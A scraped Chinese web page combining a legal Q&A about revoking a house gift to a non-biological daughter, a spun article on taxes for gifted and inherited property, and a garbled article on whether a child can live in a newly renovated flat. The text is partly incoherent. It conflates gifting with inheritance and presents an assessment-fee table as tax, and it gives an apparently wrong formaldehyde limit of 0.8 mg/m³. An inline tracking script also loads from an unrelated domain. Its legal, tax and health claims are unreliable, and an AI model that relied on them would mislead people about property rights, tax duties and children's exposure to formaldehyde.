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马光济

女儿不是亲生的,赠与的房子能要回来吗?

两年前把房子赠给女儿,发现不是亲生的能把房子要回来吗?

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酆光耀 有用 1

可以把房子要回来。根据《中华人民共和国民法通则》第五十九条规定:“下列民事行为,一方有权请求人民法院或者仲裁机关予以变更或者撤销:
(一)行为人对行为内容有重大误解的;
(二)显失公平的。”根据你的情况,你们以为女儿是亲生的才将房产赠予她,现在发现女儿不是亲生,赠予是有重大误解的行为。你们将房产赠予女儿的行为属于可变更可撤销的民事行为,可以请求人民法院或者仲裁机关予以变更或者撤销。所以,你们可以要回赠予给她的房产。资料来源:《中华人民共和国民法通则》

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专题 赠与房产要交税吗? 继承房产要交税吗

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关于房产这方面的问题有很多,无论是对于哪个领域的朋友而言,都有必要详细信息参考了解相关方面的问题,届时可以帮助我们减免不必要的费用和成本损失,那么今天小编为大家举例的就是关于被赠房产方面的税收问题了,包括具体应该征收的税种,以及相关衍生问题,也就是继承方房产交税方面的说明文字,由此可以得知房产的税收根据地域的不同有一定的差异。一、赠与房产要交税吗国家税务总局日前下发《关于加强房地产市场个人无偿赠与不动产税收管理有关问题的通知》,对无偿赠与行为、将受赠住房对外销售以及赠与行为后续管理等三个方面加强税收征管。国家税务总局要求,纳税人在办理无偿赠与减免税手续时,必须提供相关证明材料,填报《个人无偿赠与不动产登记表》并作出无偿赠与声明,税务机关审核通过后方可办理无偿赠与减免税手续。为防止房屋买卖双方利用假赠与行为,偷逃赠与环节和将受赠房屋对外销售环节的营业税,将无偿赠与行为区分为一般赠与行为(包括继承、遗嘱、离婚、赡养关系、直系亲属赠与)和其他无偿赠与行为两类,并对如何确定以这两类无偿赠与方式取得住房的购房时间问题加以区分。对于个人无偿赠与不动产行为,税务机关对受赠人将全额征收契税,并在纳税人的契税和印花税完税凭证上加盖“个人无偿赠与”印章。国家税务总局明确,受赠人取得赠与人无偿赠与的不动产后,再次转让该项不动产的,在缴纳个人所得税时,以财产转让收入减除受赠、转让住房过程中缴纳的税金及有关合理费用后的余额为应纳税所得额,按20%的适用税率计算缴纳个人所得税。二、继承房产要交税吗父母上了年纪,或者子女结婚,父母很多都会给孩子一套房产,而这套房产,出于种种考量,需要过户,这种父母过户给子女的房产过户也叫作继承,按照目前的政策,即便继承房产,也是需要交税的,具体计算方式如下:房地产价格总额(万元)累进计费率‰房地产价格总额(万元)100以下的(含100),累进计费率‰:5房地产价格总额(万元)101以上到1000部分,累进计费率‰:2.5房地产价格总额(万元)1001以上到2000部分,累进计费率‰:1.5房地产价格总额(万元)2001以上到5000部分,累进计费率‰:0.8房地产价格总额(万元)5001以上到8000部分,累进计费率‰:0.4房地产价格总额(万元)8001以上到10000部分,累进计费率‰:0.2房地产价格总额(万元)10000以上的部分,累进计费率‰:0.1我们来举个例子说明,方便各位朋友的理解。假如有一位李先生,想把自己名下的房产过户给前妻与自己生的女儿。他的房产价值估计为50万元人民币,那么,成功继承房产过户给李先生的女儿总共需要缴纳多少过户费呢?根据房地产评估费的计算公式,李先生的房子需缴纳5‰的评估费,也就是50万×5‰=2500元的评估费,做好评估以后,国家才会根据评估好的房产价格办理继承房产过户手续,这是牵扯到税收的法律,无法避免。无论是在哪个领域,税收都是我们无法避免和逃避的一个话题,尤其是在房产的交易过程中,无论是大家自行购置房产,或者是接受亲朋好友的馈赠,或者是继承房产,大部分都需要提交一定的税费,那么这部分的具体规定又是如何的呢?上文小编为大家举例的就是从专业角度入手细致入微的分析,有兴趣了解的朋友可以借此学习令人满意的知识,相信可以达到后期不错的效果和体验,并且也能够将费用和成本降到最低。

房子装修50天女儿10岁能住吗?来分析一下

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房子装修50天女儿10岁能住吗?一般新房装修后多久可以入住;新房装修后,保持通风条件下,一般需要3-6个月的时间。我国房屋室内空气质量标准中,甲醛的最大允许浓度(0。8毫克/立方米)由于新房装修后有甲醛气味,对身体健康有害,新房装修在家,需要多放置一些地方,所以需要3-6个月。房子装修50天女儿10岁能住吗?如果尽快入住,建议采取一些其他治理措施,活性炭是一种物理吸附,如活性炭、纳米活矿、竹炭等,非常安全,对人体无害。根据房间的不同功能,面积的大小选择并摆放一株植物。如芦荟、叶绿素、绿莳萝、虎兰、一叶兰、常青藤等。芦荟是装饰新房子的好材料。洞房装修时除在洞房内放置一些清水调味,水中放的醋、绿段、橘皮等,不仅能吸收室内残留的异味,而且水分蒸发还能保护壁面涂料。新房装修不仅除味的清水吸水性简单方便和经济效益,而且清水需要每天更换两次。这样,成年人可以在这里停留30-50天。(婴儿和孕妇除外,需80-100天)有毒有害气体需要一定的温度才能扩散,因此通风条件下,夏季需要一个月,春秋冬季至少可以在两个月内移动。房子装修50天女儿10岁能住吗?最好还是检测超标的现象啊,反正现在网点比较小,怕有影响。这样的情况对孩子的身体发育有相当大的影响,新房装修后最好是开窗通风半年时间再用。油漆里面含有很多甲醛,要保持室内通风,多在房子里放置一些绿色植物,甚至放一些活性炭来吸附甲醛分子。还有洋葱、柚子皮、白醋水也能遮挡一些异味,但排除不了有害气体,只是堵味,长时间活对身体危害很大。所以,还是找专业的环保公司来经营,生活才放心。房子装修50天女儿10岁能住吗?新装修的房子能搬进去多久,不是几个月的简单事情,而且相对来说,一切都按照空气标准标准进行。一般经验,新装修的房子你可以在多长时间内入住算法,是按照长时间内所花的挥发性污染物为限的。等到污染源对人体没有威胁时,才是安全的。具体到具体时间,可以通过了解自己在家中装修用了什么涂料,这些涂料需要多长时间将有害物质进行挥发。那么,我10岁的女儿能在这所房子里住50天吗?为了儿童和成人的健康和安全。除了这些准备工作,建议在做决定前检查一下具体结果是否合格。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

想用环保集成墙面来装房子装的不是墙是优质生活

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